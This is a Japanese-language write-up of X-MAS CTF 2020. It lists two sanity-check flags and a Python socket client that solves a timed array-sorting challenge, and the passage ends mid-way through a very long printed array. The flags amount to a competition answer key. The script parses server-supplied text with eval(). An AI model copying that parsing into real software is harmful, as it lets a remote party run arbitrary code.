X-MAS CTF 2020 Writeup

この大会は2020/12/12 4:00(JST)~2020/12/19 4:00(JST)に開催されました。
今回もチームで参戦。結果は2082点で1064チーム中93位でした。
自分で解けた問題をWriteupとして書いておきます。

Merry Christmas! (!Sanity Check)

問題にフラグが書いてあった。

X-MAS{H0_H0_H0_H4ck_4_4_br1gh73r_fu7ur3_4nd_m3rry_X-MAS!!!}

The place where all the elves hang out (!Sanity Check)

Discordに入ると、#generalチャネルのトピックにフラグが書いてあった。

X-MAS{Alr1gh7_50_W3_g07_734_b15cui75_4nd_7h3_w4rm357_w1n73r_50ck5_w3_c0uld_f1nd.L37'5_g0!}

Biggest Lowest (Programming)

$ nc challs.xmas.htsp.ro 6051
So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 30 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8

Test number: 1/50
array = [3, 3, 10, 8, 7]
k1 = 2
k2 = 1
3, 3; 10
Good, that's right!
Test number: 2/50
array = [19, 7, 9, 7, 7, 9, 15, 18, 4, 20, 16, 3, 5, 6, 1, 4, 17, 4, 12, 2]
k1 = 7
k2 = 4

最小値からk1個、最大値からk2を並べて答える。

#!/usr/bin/python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.xmas.htsp.ro', 6051))

data = recvuntil(s, b'8\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for i in range(50):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    array = eval(data.split(' = ')[1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    k1 = int(data.split(' = ')[1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    k2 = int(data.split(' = ')[1])

    array.sort()
    ans = ', '.join(map(str, array[:k1]))
    ans += '; '
    ans += ', '.join(map(str, array[::-1][:k2]))
    print(ans)
    s.sendall(ans.encode() + b'\n')

    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing 
order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 30 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8

Test number: 1/50
array = [10, 5, 4, 7, 7]
k1 = 1
k2 = 2
4; 10, 7
Good, that's right!
Test number: 2/50
array = [13, 11, 5, 19, 12, 3, 6, 5, 14, 18, 20, 18, 3, 17, 18, 8, 1, 5, 17, 19]
k1 = 3
k2 = 5
1, 3, 3; 20, 19, 19, 18, 18
Good, that's right!
                :
Test number: 49/50
array = [413, 451, 399, 291, 381, 346, 78, 260, 257, 409, 223, 175, 244, 318, 206, 271, 43, 375, 279, 306, 442, 194, 78, 77, 269, 217, 233, 298, 437, 490, 437, 282, 101, 459, 232, 289, 273, 132, 257, 350, 281, 223, 449, 476, 37, 256, 72, 406, 344, 324, 434, 112, 409, 287, 318, 309, 443, 388, 80, 452, 141, 83, 181, 214, 55, 247, 388, 150, 130, 326, 381, 308, 112, 190, 11, 296, 121, 279, 117, 150, 28, 224, 322, 32, 374, 449, 323, 446, 34, 202, 236, 398, 285, 396, 331, 130, 198, 429, 271, 253, 332, 325, 108, 45, 451, 385, 467, 57, 419, 28, 33, 343, 330, 433, 348, 164, 469, 468, 387, 247, 489, 200, 61, 142, 335, 19, 408, 442, 214, 55, 411, 351, 352, 351, 427, 233, 24, 282, 270, 225, 6, 181, 322, 319, 329, 197, 343, 301, 406, 205, 132, 434, 269, 128, 479, 47, 359, 33, 187, 342, 408, 167, 387, 51, 385, 78, 350, 437, 148, 187, 207, 188, 192, 77, 435, 480, 181, 387, 308, 241, 104, 380, 275, 275, 2, 490, 157, 176, 74, 227, 31, 239, 270, 488, 351, 389, 209, 320, 15, 14, 140, 235, 176, 234, 313, 77, 163, 232, 171, 114, 7, 398, 490, 192, 377, 12, 225, 435, 104, 316, 413, 445, 455, 342, 306, 8, 387, 45, 74, 212, 155, 253, 356, 336, 255, 87, 253, 169, 124, 82, 305, 31, 377, 479, 36, 440, 48, 44, 18, 402, 304, 103, 463, 424, 386, 203, 478, 422, 33, 318, 160, 416, 416, 70, 207, 190, 329, 111, 46, 459, 463, 311, 112, 75, 293, 469, 232, 354, 48, 63, 232, 362, 51, 392, 239, 262, 410, 133, 77, 316, 100, 123, 345, 117, 343, 233, 114, 264, 367, 31, 387, 87, 110, 380, 98, 224, 376, 453, 441, 5, 42, 190, 199, 486, 142, 128, 324, 485, 289, 450, 47, 331, 431, 71, 380, 363, 320, 269, 330, 402, 311, 365, 197, 131, 322, 263, 414, 291, 218, 376, 135, 7, 143, 190, 185, 399, 443, 395, 471, 335, 305, 430, 408, 446, 279, 311, 127, 385, 168, 324, 105, 237, 372, 223, 152, 31, 420, 286, 414, 86, 251, 340, 172, 345, 256, 378, 362, 209, 83, 171, 24, 156, 212, 361, 382, 64, 26, 252, 225, 225, 321, 305, 307, 186, 280, 332, 429, 446, 248, 119, 91, 271, 178, 224, 96, 444, 125, 289, 425, 276, 356, 368, 322, 396, 185, 307, 301, 233, 259, 398, 300, 489, 134, 229, 274, 105, 6, 181, 229, 456, 464, 456, 118, 64, 454, 481, 197, 14, 199, 412, 264, 93, 432, 184, 229, 382, 297, 137, 288, 25, 460, 471, 1, 453, 338, 48, 377, 365, 76, 297, 161, 468, 231, 327, 313, 48, 166, 345, 477, 257, 14, 95, 162, 210, 446, 367, 366, 88, 101, 87, 428, 187, 387, 438, 210, 336, 332, 140, 26, 27, 485, 440, 328, 27, 69, 317, 27, 474, 488, 58, 199, 453, 53, 202, 102, 479, 249, 359, 391, 20, 83, 234, 100, 72, 134, 327, 41, 475, 209, 426, 300, 341, 55, 88, 9, 321, 488, 99, 83, 97, 198, 323, 408, 286, 168, 15, 295, 100, 199, 235, 428, 299, 435, 392, 343, 178, 341, 56, 464, 338, 465, 110, 18, 108, 73, 114, 186, 390, 320, 419, 69, 273, 477, 107, 2, 304, 354, 21, 383, 243, 41, 367, 462, 476, 343, 351, 17, 329, 20, 229, 115, 446, 290, 164, 76, 203, 186, 270, 459, 175, 333, 159, 291, 142, 47, 143, 74, 359, 393, 199, 378, 431, 283, 67, 8, 278, 427, 43, 208, 442, 485, 129, 244, 400, 312, 376, 21, 107, 397, 45, 192, 319, 354, 39, 375, 411, 68, 225, 238, 388, 114, 97, 252, 182, 358, 320, 10, 169, 212, 24, 483, 467, 145, 360, 139, 292, 2, 162, 1, 386, 90, 482, 210, 42, 223, 473, 126, 47, 110, 256, 263, 154, 418, 40, 110, 280, 362, 4, 323, 401, 195, 430, 160, 88, 215, 427, 87, 251, 51, 385, 344, 89, 209, 403, 36, 363, 391, 384, 157, 35, 207, 337, 456, 90, 169, 342, 216, 364, 223, 96, 278, 39, 39, 386, 48, 133, 406, 427, 319, 315, 437, 231, 344, 210, 366, 379, 483, 87, 177, 336, 81, 410, 236, 49, 347, 171, 408, 223, 353, 187, 265, 309, 366, 6, 49, 315, 312, 117, 41, 445, 301, 151, 392, 99, 247, 50, 204, 377, 99, 231, 139, 427, 308, 488, 37, 184, 460, 236, 288, 377, 210, 94, 329, 343, 317, 243, 326, 394, 315, 224, 139, 224, 289, 297, 415, 346, 328, 224, 374, 330, 442, 475, 268, 72, 60, 451, 412, 36, 22, 459, 448, 455, 221, 113, 240, 144, 118, 18, 31, 90, 264, 216, 407, 24, 247, 17, 125, 133, 49, 406, 377, 120, 34, 428, 300, 435, 79, 71, 485, 347, 340, 52, 220, 373, 123, 50, 346, 222, 294, 259, 489, 446, 263, 196, 277, 24, 461, 441, 324, 453, 260, 134, 209, 151, 255, 128, 288, 378, 211, 304, 298, 456, 74, 51, 142, 98, 275, 376, 356, 3, 475, 10, 443, 356, 255, 126, 451, 486, 49, 35, 46, 268, 248, 11, 318, 468, 439, 167, 186, 125, 131, 377, 357, 389, 240, 483, 45, 444, 165, 245, 454, 182, 374, 125, 165, 231, 356, 358, 328, 235, 347, 61, 234, 341, 54, 227, 286, 272, 37, 219, 346, 285, 281, 472, 362, 7, 473, 472, 348, 424, 287, 307, 304, 362, 91, 307, 455, 456, 267, 131, 80, 8, 203, 487, 213, 397, 127, 394, 53, 270, 34, 321, 152, 186, 450, 211, 143, 353, 321, 179, 146, 109, 98, 32, 350, 210, 349, 344, 473, 9, 305, 480, 471, 44, 60, 120, 274, 361, 368, 340, 65, 246, 72, 156, 266, 327, 300, 70, 429, 109, 195, 62, 136, 222, 325, 147, 313, 143, 336, 175, 90, 349, 407, 41, 223, 423, 418, 234, 379, 417, 472, 358, 382, 305, 489, 482, 455, 168, 346, 23, 435, 372, 478, 158, 140, 163, 400, 147, 13, 474, 426, 469, 41, 455, 371, 86, 200, 47, 386, 421, 78, 34, 92, 477, 418, 345, 62, 200, 407, 126, 118, 412, 307, 130, 462, 325, 404, 27, 85, 58, 192, 183, 89, 471, 467, 235, 105, 121, 296, 405, 354, 316, 59, 272, 325, 228, 421, 390, 156, 331, 294, 238, 89, 233, 422, 184, 245, 143, 278, 280, 180, 451, 287, 12, 145, 75, 376, 200, 253, 180, 167, 118, 239, 209, 359, 90, 56, 237, 3, 121, 119, 260, 331, 263, 363, 208, 250, 23, 348, 424, 121, 176, 369, 303, 59, 89, 467, 275, 372, 410, 464, 104, 126, 90, 83, 74, 420, 51, 461, 325, 353, 275, 487, 58, 328, 221, 81, 460, 322, 94, 114, 290, 217, 76, 321, 289, 74, 363, 424, 384, 119, 199, 416, 261, 91, 465, 391, 21, 109, 290, 443, 224, 450, 484, 167, 141, 358, 202, 165, 438, 48, 206, 424, 204, 50, 357, 48, 261, 32, 34, 177, 324, 321, 271, 81, 380, 291, 145, 369, 70, 481, 467, 454, 490, 303, 91, 460, 324, 302, 12, 113, 118, 176, 141, 424, 251, 383, 285, 88, 483, 203, 226, 49, 22, 52, 358, 129, 218, 440, 399, 464, 130, 91, 244, 250, 180, 316, 139, 423, 390, 223, 170, 171, 326, 270, 137, 430, 367, 180, 326, 202, 274, 57, 119, 253, 378, 159, 396, 92, 239, 461, 395, 260, 266, 252, 7, 220, 480, 23, 401, 425, 402, 394, 144, 26, 434, 81, 471, 320, 287, 338, 293, 224, 75, 55, 114, 235, 41, 434, 59, 240, 158, 182, 187, 489, 440, 379, 133, 264, 228, 61, 387, 444, 199, 187, 289, 457, 445, 232, 38, 39, 7, 431, 19, 242, 347, 369, 232, 12, 399, 436, 245, 20, 385, 124, 192, 34, 104, 340, 430, 490, 84, 350, 442, 169, 7, 291, 309, 268, 48, 421, 263, 189, 77, 351, 432, 87, 467, 367, 279, 244, 161, 249, 127, 158, 152, 362, 367, 268, 60, 230, 240, 352, 430, 33, 189, 116, 7, 290, 359, 396, 202, 28, 449, 204, 194, 267, 428, 31, 43, 373, 470, 391, 198, 232, 40, 228, 361, 133, 8, 77, 438, 133, 466, 302, 400, 30, 343, 47, 322, 176, 400, 233, 434, 250, 181, 212, 185, 211, 391, 51, 44, 422, 350, 41, 172, 244, 257, 242, 258, 211, 37, 376, 449, 442, 85, 331, 187, 423, 156, 218, 86, 58, 372, 88, 219, 50, 179, 143, 301, 245, 24, 370, 341, 18, 95, 222, 437, 66, 413, 244, 329, 432, 48, 25, 246, 470, 486, 187, 232, 138, 485, 293, 279, 268, 294, 162, 393, 171, 74, 211, 7, 329, 246, 188, 408, 45, 187, 103, 232, 309, 16, 483, 260, 338, 260, 206, 360, 181, 412, 361, 479, 199, 5, 129, 130, 363, 249, 410, 23, 9, 463, 95, 48, 471, 103, 315, 174, 252, 58, 106, 480, 62, 114, 442, 106, 488, 226, 154, 224, 128, 40, 468, 247, 475, 15, 171, 8, 379, 362, 238, 335, 226, 254, 290, 276, 191, 216, 201, 285, 27, 205, 292, 280, 17, 35, 76, 228, 160, 183, 403, 322, 218, 292, 217, 142, 118, 376, 273, 226, 238, 258, 153, 244, 94, 350, 263, 338, 59, 291, 83, 370, 223, 81, 63, 443, 176, 433, 421, 440, 147, 267, 442, 47, 414, 489, 426, 10, 216, 466, 339, 113, 63, 413, 391, 59, 396, 60, 304, 163, 234, 81, 423, 274, 128, 299, 185, 255, 115, 308, 36, 312, 457, 324, 335, 227, 257, 299, 246, 137, 278, 425, 124, 183, 447, 469, 242, 251, 98, 454, 333, 45, 65, 280, 481, 259, 440, 286, 94, 215, 145, 473, 379, 323, 453, 237, 468, 268, 153, 98, 364, 412, 236, 278, 254, 121, 454, 223, 348, 56, 31, 325, 78, 296, 382, 466, 248, 106, 142, 424, 466, 463, 17, 10, 454, 467, 54, 286, 118, 315, 247, 369, 168, 48, 230, 37, 383, 154, 283, 112, 12, 350, 331, 122, 222, 278, 28, 400, 77, 403, 162, 106, 154, 450, 487, 17, 441, 264, 430, 138, 6, 426, 479, 226, 217, 333, 377, 165, 5, 250, 35, 339, 52, 155, 185, 126, 103, 457, 221, 222, 107, 196, 33, 356, 343, 225, 6, 31, 402, 54, 153, 133, 203, 177, 193, 282, 287, 219, 13, 99, 423, 71, 181, 130, 341, 247, 74, 4, 322, 227, 275, 63, 221, 193, 10, 442, 190, 290, 456, 176, 48, 126, 387, 235, 417, 466, 423, 285, 424, 72, 11, 31, 443, 203, 267, 262, 384, 90, 78, 75, 382, 171, 269, 383, 246, 271, 292, 165, 273, 308, 419, 389, 153, 298, 257, 165, 231, 20, 188, 446, 353, 128, 26, 283, 426, 362, 218, 331, 452, 91, 5, 29, 18, 245, 311, 127, 272, 104, 99, 238, 397, 172, 207, 279, 152, 22, 263, 224, 413, 262, 52, 207, 459, 358, 279, 155, 140, 168, 277, 53, 429, 236, 299, 401, 65, 389, 364, 290, 95, 60, 447, 368, 38, 126, 406, 151, 117, 369, 230, 162, 108, 254, 456, 187, 7, 379, 206, 237, 15, 91, 27, 159, 441, 130, 296, 453, 320, 44, 418, 301, 182, 413, 172, 452, 99, 98, 272, 397, 38, 275, 82, 392, 408, 481, 490, 53, 387, 464, 14, 251, 358, 67, 434, 99, 391, 260, 235, 324, 197, 249, 391, 221, 35, 64, 299, 47, 447, 186, 111, 32, 236, 457, 139, 116, 52, 258, 219, 305, 144, 386, 309, 67, 439, 24, 59, 376, 389, 102, 259, 71, 105, 312, 61, 211, 86, 405, 311, 335, 2, 219, 278, 230, 38, 202, 306, 202, 301, 193, 348, 374, 252, 17, 374, 85, 62, 463, 132, 87, 412, 178, 153, 30, 154, 371, 149, 430, 154, 327, 203, 221, 291, 435, 289, 432, 321, 326, 89, 73, 15, 3, 18, 120, 309, 402, 177, 362, 181, 231, 168, 283, 112, 241, 383, 44, 203, 369, 461, 263, 38, 384, 171, 434, 101, 20, 9, 257, 220, 301, 200, 124, 173, 225, 239, 173, 156, 150, 205, 293, 82, 369, 53, 72, 429, 54, 272, 433, 323, 97, 486, 57, 426, 484, 16, 300, 130, 121, 131, 129, 198, 428, 443, 433, 473, 236, 298, 184, 476, 396, 208, 288, 470, 139, 46, 104, 467, 474, 337, 445, 7, 399, 337, 411, 34, 477, 469, 261, 159, 191, 283, 68, 352, 475, 233, 184, 337, 122, 393, 250, 298, 411, 271, 320, 461, 55, 9, 324, 267, 489, 137, 316, 373, 234, 285, 21, 161, 400, 133, 368, 313, 70, 236, 89, 214, 449, 253, 141, 103, 68, 468, 265, 477, 390, 38, 222, 359, 419, 190, 132, 407, 247, 413, 255, 434, 206, 480, 452, 47, 462, 104, 3, 448, 481, 486, 309, 219, 320, 164, 175, 180, 403, 291, 300, 373, 175, 138, 212, 302, 244, 66, 163, 268, 273, 91, 313, 382, 413, 208, 21, 283, 91, 478, 313, 169, 41, 167, 247, 285, 277, 365, 165, 19, 115, 263, 113, 200, 52, 146, 15, 320, 8, 476, 219, 304, 389, 94, 153, 254, 77, 48, 266, 466, 136, 194, 102, 1, 63, 331, 29, 118, 125, 325, 344, 262, 35, 15, 435, 182, 407, 307, 352, 351, 37, 348, 68, 358, 10, 141, 217, 478, 56, 149, 267, 157, 83, 41, 190, 380, 61, 129, 324, 373, 450, 205, 196, 201, 466, 454, 217, 188, 468, 392, 381, 134, 178, 102, 289, 333, 300, 2, 205, 298, 116, 380, 85, 155, 275, 130, 264, 1, 124, 314, 313, 86, 120, 442, 323, 466, 245, 325, 195, 9, 337, 288, 270, 3, 202, 273, 9, 260, 487, 312, 4, 478, 351, 335, 478, 485, 478, 376, 157, 109, 167, 223, 299, 364, 390, 391, 39, 417, 322, 153, 89, 300, 310, 44, 50, 373, 429, 351, 205, 368, 88, 108, 232, 354, 346, 301, 490, 322, 251, 261, 327, 266, 174, 424, 293, 214, 386, 415, 194, 223, 55, 52, 303, 145, 299, 360, 479, 62, 220, 243, 473, 437, 42, 469, 232, 20, 337, 448, 426, 407, 203, 269, 269, 209, 383, 364, 325, 121, 409, 210, 29, 267, 462, 132, 389, 448, 179, 22, 44, 243, 487, 27, 26, 356, 339, 236, 371, 460, 288, 406, 267, 126, 40, 223, 67, 292, 38, 419, 326, 152, 215, 102, 452, 393, 50, 21, 318, 285, 69, 379, 432, 182, 446, 325, 183, 375, 59, 306, 76, 61, 411, 268, 440, 183, 344, 388, 233, 214, 181, 221, 13, 114, 470, 9, 432, 135, 278, 463, 322, 232, 335, 201, 161, 29, 217, 485, 486, 100, 235, 242, 179, 179, 356, 166, 390, 243, 207, 90, 231, 397, 121, 452, 148, 202, 66, 24, 103, 237, 426, 378, 57, 233, 62, 352, 91, 349, 206, 352, 249, 295, 467, 251, 141, 239, 298, 75, 281, 52, 209, 246, 342, 485, 31, 146, 299, 473, 336, 396, 83, 33, 144, 488, 170, 17, 255, 289, 482, 92, 396, 206, 413, 363, 67, 25, 413, 482, 312, 35, 230, 42, 429, 204, 477, 454, 131, 220, 255, 200, 415, 453, 287, 316, 235, 377, 193, 215, 386, 51, 287, 203, 465, 340, 243, 432, 106, 369, 317, 7, 336, 140, 263, 7, 365, 101, 443, 289, 346, 487, 232, 425, 314, 133, 188, 206, 153, 154, 62, 63, 227, 344, 489, 337, 425, 103, 299, 391, 463, 484, 219, 20, 329, 35, 91, 325, 42, 95, 196, 161, 216, 154, 371, 147, 302, 413, 447, 415, 63, 8, 224, 413, 20, 277, 143, 53, 408, 377, 154, 35, 169, 75, 278, 319, 42, 472, 58, 431, 392, 456, 281, 380, 389, 113, 223, 339, 228, 96, 453, 81, 85, 234, 473, 39, 135, 384, 86, 346, 161, 210, 132, 486, 150, 239, 8, 22, 452, 424, 446, 159, 345, 258, 290, 473, 196, 81, 329, 476, 121, 426, 29, 63, 179, 33, 219, 208, 430, 26, 25, 261, 191, 140, 35, 231, 446, 124, 331, 246, 260, 386, 166, 269, 461, 20, 437, 377, 199, 87, 351, 430, 131, 354, 177, 350, 338, 247, 47, 35, 176, 156, 210, 175, 220, 178, 328, 228, 192, 349, 444, 231, 13, 168, 299, 453, 191, 414, 478, 242, 305, 420, 101, 175, 90, 312, 49, 227, 210, 55, 18, 337, 478, 224, 297, 425, 275, 462, 169, 76, 61, 79, 456, 153, 203, 369, 51, 157, 320, 62, 239, 13, 373, 330, 276, 64, 366, 425, 79, 401, 120, 334, 218, 358, 352, 347, 290, 357, 320, 215, 351, 99, 228, 105, 463, 118, 199, 150, 63, 308, 143, 348, 396, 176, 35, 21, 335, 394, 260, 423, 122, 407, 385, 52, 306, 270, 210, 284, 294, 135, 297, 348, 317, 229, 30, 183, 36, 65, 379, 22, 210, 131, 301, 253, 67, 214, 211, 310, 68, 447, 333, 355, 427, 439, 488, 15, 110, 183, 444, 109, 253, 413, 11, 281, 295, 217, 209, 406, 165, 415, 239, 10, 192, 218, 467, 111, 38, 103, 354, 467, 243, 278, 295, 449, 60, 230, 423, 431, 242, 205, 342, 87, 101, 147, 466, 133, 11, 339, 174, 16, 88, 217, 15, 395, 143, 252, 342, 326, 340, 301, 265, 73, 177, 321, 479, 473, 10, 219, 164, 315, 367, 237, 116, 328, 447, 228, 437, 143, 477, 106, 448, 36, 227, 186, 240, 410, 85, 392, 370, 45, 34, 460, 91, 413, 237, 301, 422, 139, 371, 442, 472, 48, 276, 323, 460, 457, 278, 194, 115, 139, 413, 181, 294, 467, 11, 21, 4, 428, 336, 229, 142, 123, 130, 263, 87, 258, 227, 114, 30, 134, 276, 45, 171, 372, 259, 82, 322, 361, 36, 29, 192, 28, 212, 280, 404, 72, 177, 345, 147, 215, 390, 313, 380, 242, 206, 174, 433, 191, 262, 40, 349, 416, 5, 467, 467, 192, 148, 238, 33, 406, 294, 211, 142, 442, 58, 380, 365, 126, 163, 467, 217, 328, 160, 318, 14, 89, 40, 406, 206, 483, 361, 74, 13, 78, 134, 240, 307, 290, 29, 416, 243, 375, 108, 36, 332, 400, 408, 323, 253, 218, 74, 154, 221, 406, 302, 26, 427, 227, 129, 144, 475, 243, 389, 314, 343, 192, 256, 484, 324, 53, 450, 138, 50, 334, 26, 70, 196, 200, 180, 155, 156, 323, 72, 256, 376, 223, 367, 247, 90, 313, 169, 331, 80, 221, 115, 148, 243, 242, 282, 366, 123, 278, 259, 278, 98, 50, 259, 157, 112, 331, 240, 230, 381, 293, 294, 463, 478, 190, 175, 226, 251, 76, 1, 160, 327, 221, 109, 305, 23, 314, 52, 53, 132, 100, 363, 393, 253, 395, 341, 117, 402, 438, 87, 388, 55, 103, 351, 45, 187, 70, 3, 18, 58, 355, 331, 456, 447, 312, 328, 194, 353, 245, 192, 159, 434, 77, 123, 12, 23, 288, 168, 26, 301, 173, 261, 321, 194, 142, 252, 79, 451, 352, 28, 91, 277, 400, 139, 474, 241, 226, 347, 121, 281, 247, 117, 375, 260, 268, 138, 39, 72, 335, 307, 150, 230, 92, 118, 192, 359, 320, 230, 412, 316, 177, 181, 110, 222, 169, 95, 82, 458, 387, 126, 54, 66, 396, 59, 413, 357, 17, 147, 275, 203, 454, 293, 123, 407, 53, 172, 43, 323, 173, 362, 222, 139, 91, 39, 111, 235, 483, 422, 475, 51, 424, 224, 481, 409, 57, 404, 166, 114, 157, 409, 57, 374, 238, 160, 5, 459, 126, 474, 444, 20, 214, 249, 64, 174, 31, 222, 380, 355, 168, 313, 172, 383, 36, 458, 177, 137, 482, 354, 477, 57, 181, 290, 135, 437, 335, 293, 420, 29, 252, 398, 311, 166, 247, 479, 431, 65, 111, 154, 77, 422, 384, 4, 421, 235, 333, 223, 457, 230, 82, 31, 451, 255, 485, 389, 346, 341, 252, 68, 216, 78, 294, 175, 400, 54, 173, 18, 449, 411, 149, 449, 150, 481, 405, 348, 489, 400, 474, 69, 12, 360, 72, 352, 182, 45, 274, 273, 485, 410, 422, 385, 92, 129, 331, 341, 122, 430, 102, 181, 445, 403, 63, 337, 47, 465, 481, 80, 122, 235, 93, 481, 120, 82, 327, 238, 380, 1, 237, 470, 296, 91, 247, 359, 146, 371, 349, 127, 256, 367, 365, 342, 142, 414, 419, 331, 133, 451, 159, 97, 197, 458, 134, 393, 53, 121, 99, 54, 11, 69, 467, 41, 93, 298, 187, 74, 19, 474, 272, 71, 66, 144, 137, 302, 382, 45, 234, 489, 482, 385, 285, 262, 444, 388, 89, 392, 342, 109, 405, 90, 75, 283, 107, 294, 277, 429, 95, 358, 461, 164, 206, 377, 68, 243, 466, 409, 156, 305, 104, 307, 17, 204, 242, 490, 112, 325, 102, 348, 396, 184, 337, 419, 382, 155, 128, 67, 37, 141, 164, 51, 443, 472, 305, 257, 369, 46, 216, 428, 220, 24, 162, 146, 468, 268, 351, 27, 205, 38, 311, 14, 419, 374, 353, 164, 191, 207, 317, 233, 381, 363, 471, 239, 298, 304, 58, 451, 337, 161, 431, 147, 45, 439, 181, 461, 330, 48, 395, 249, 389, 395, 405, 428, 437, 39, 345, 380, 103, 173, 221, 287, 199, 345, 158, 286, 218, 300, 106, 323, 341, 42, 196, 181, 17, 76, 2, 242, 25, 54, 322, 11, 388, 346, 98, 437, 284, 56, 223, 303, 244, 32, 382, 357, 60, 285, 80, 454, 143, 295, 272, 462, 40, 230, 47, 94, 289, 277, 114, 443, 466, 309, 169, 244, 288, 299, 481, 430, 347, 438, 178, 135, 357, 141, 427, 353, 63, 385, 107, 33, 457, 322, 297, 322, 488, 120, 373, 391, 205, 278, 122, 215, 422, 3, 335, 148, 333, 56, 438, 186, 91, 451, 388, 348, 481, 292, 459, 275, 308, 351, 380, 428, 87, 462, 119, 83, 217, 327, 116, 125, 93, 484, 136, 354, 313, 485, 121, 449, 110, 161, 425, 40, 134, 149, 97, 46, 303, 7, 208, 228, 457, 467, 443, 172, 384, 460, 325, 345, 26, 449, 355, 396, 72, 174, 256, 209, 374, 349, 197, 96, 35, 63, 294, 136, 111, 181, 242, 243, 436, 294, 254, 192, 232, 303, 229, 406, 79, 359, 44, 159, 183, 111, 173, 298, 365, 214, 183, 429, 162, 15, 376, 433, 174, 351, 34, 59, 248, 462, 103, 127, 279, 97, 301, 23, 244, 136, 11, 88, 144, 82, 102, 306, 271, 224, 408, 93, 19, 69, 143, 43, 332, 268, 89, 249, 70, 263, 223, 174, 407, 204, 109, 461, 347, 490, 233, 255, 449, 29, 394, 236, 112, 396, 171, 424, 228, 312, 373, 209, 171, 90, 4, 250, 345, 53, 104, 206, 488, 419, 118, 64, 8, 1, 66, 458, 1, 27, 215, 88, 78, 223, 201, 21, 20, 292, 5, 200, 343, 109, 27, 61, 13, 174, 95, 267, 343, 190, 430, 192, 468, 173, 320, 175, 471, 279, 458, 302, 421, 32, 25, 411, 120, 221, 349, 429, 140, 27, 109, 77, 447, 375, 278, 122, 347, 141, 474, 293, 268, 107, 148, 394, 108, 316, 385, 63, 321, 421, 93, 91, 417, 46, 14, 443, 251, 297, 100, 131, 346, 427, 81, 468, 230, 172, 110, 241, 35, 228, 172, 158, 198, 236, 406, 426, 165, 52, 378, 303, 419, 97, 331, 421, 154, 90, 356, 106, 133, 414, 107, 468, 460, 161, 430, 346, 295, 311, 83, 442, 37, 419, 240, 336, 44, 152, 122, 472, 257, 311, 457, 297, 310, 225, 478, 405, 305, 218, 417, 338, 130, 400, 360, 470, 103, 274, 25, 318, 146, 356, 1, 390, 89, 277, 302, 127, 154, 250, 352, 122, 138, 261, 42, 366, 1, 451, 292, 486, 211, 333, 338, 257, 137, 102, 234, 11, 30, 195, 50, 170, 72, 225, 193, 384, 262, 236, 176, 80, 247, 71, 53, 164, 438, 240, 424, 440, 487, 312, 25, 185, 246, 307, 128, 67, 242, 210, 218, 174, 480, 70, 108, 345, 466, 304, 407, 58, 340, 189, 370, 479, 467, 326, 296, 418, 328, 278, 351, 85, 180, 472, 291, 385, 447, 366, 217, 127, 416, 183, 148, 209, 59, 53, 83, 478, 158, 282, 139, 461, 102, 24, 52, 20, 175, 128, 356, 41, 386, 158, 395, 129, 286, 297, 219, 78, 196, 10, 59, 197, 60, 323, 414, 311, 348, 286, 226, 208, 15, 69, 154, 311, 151, 330, 140, 219, 321, 284, 94, 96, 233, 116, 212, 249, 319, 332, 83, 373, 190, 363, 470, 135, 114, 352, 246, 426, 483, 201, 287, 25, 360, 480, 44, 229, 256, 402, 92, 100, 231, 26, 440, 49, 473, 117, 182, 422, 272, 381, 91, 371, 454, 416, 406, 59, 354, 461, 451, 289, 321, 107, 273, 322, 286, 99, 212, 432, 116, 138, 213, 64, 404, 54, 120, 279, 439, 356, 102, 186, 136, 437, 444, 154, 344, 130, 221, 25, 276, 252, 244, 58, 110, 40, 323, 382, 354, 189, 168, 462, 2, 66, 270, 286, 287, 266, 237, 147, 55, 453, 321, 151, 334, 382, 161, 404, 413, 83, 342, 116, 322, 445, 195, 241, 188, 439, 114, 274, 288, 223, 426, 223, 259, 214, 483, 130, 32, 5, 255, 225, 3, 454, 332, 186, 77, 377, 418, 20, 32, 324, 384, 275, 262, 154, 112, 424, 94, 349, 317, 231, 367, 318, 328, 346, 142, 6, 81, 103, 428, 134, 305, 261, 434, 225, 425, 306, 227, 337, 14, 484, 440, 159, 326, 91, 204, 266, 354, 305, 344, 104, 97, 369, 247, 277, 9, 103, 277, 173, 112, 34, 189, 350, 274, 454, 103, 423, 348, 35, 226, 177, 408, 111, 64, 416, 395, 122, 322, 300, 394, 318, 265, 252, 107, 319, 52, 345, 419, 447, 206, 282, 41, 96, 153, 395, 384, 8, 215, 4, 61, 69, 109, 34, 331, 392, 230, 356, 373, 266, 478, 57, 222, 274, 24, 277, 68, 281, 417, 278, 372, 143, 290, 377, 259, 480, 52, 307, 63, 83, 289, 97, 222, 226, 460, 239, 414, 282, 11, 243, 195, 70, 159, 271, 74, 223, 404, 266, 97, 123, 152, 485, 198, 170, 60, 355, 292, 266, 82, 83, 399, 439, 486, 93, 62, 451, 2, 207, 475, 394, 196, 241, 393, 372, 106, 166, 156, 31, 387, 18, 282, 92, 371, 172, 130, 482, 226, 154, 432, 423, 34, 299, 474, 57, 476, 116, 441, 441, 192, 292, 30, 183, 110, 269, 110, 373, 124, 373, 375, 303, 217, 454, 64, 476, 53, 121, 19, 104, 456, 226, 179, 59, 411, 290, 77, 435, 340, 474, 430, 259, 419, 109, 268, 159, 353, 407, 139, 9, 385, 207, 162, 110, 271, 164, 251, 289, 128, 439, 139, 176, 220, 368, 173, 327, 265, 141, 411, 199, 51, 366, 261, 150, 343, 69, 170, 203, 422, 125, 187, 19, 303, 325, 318, 77, 276, 205, 28, 198, 224, 313, 302, 73, 71, 24, 227, 260, 147, 25, 160, 53, 72, 118, 63, 472, 484, 478, 267, 170, 90, 463, 225, 219, 69, 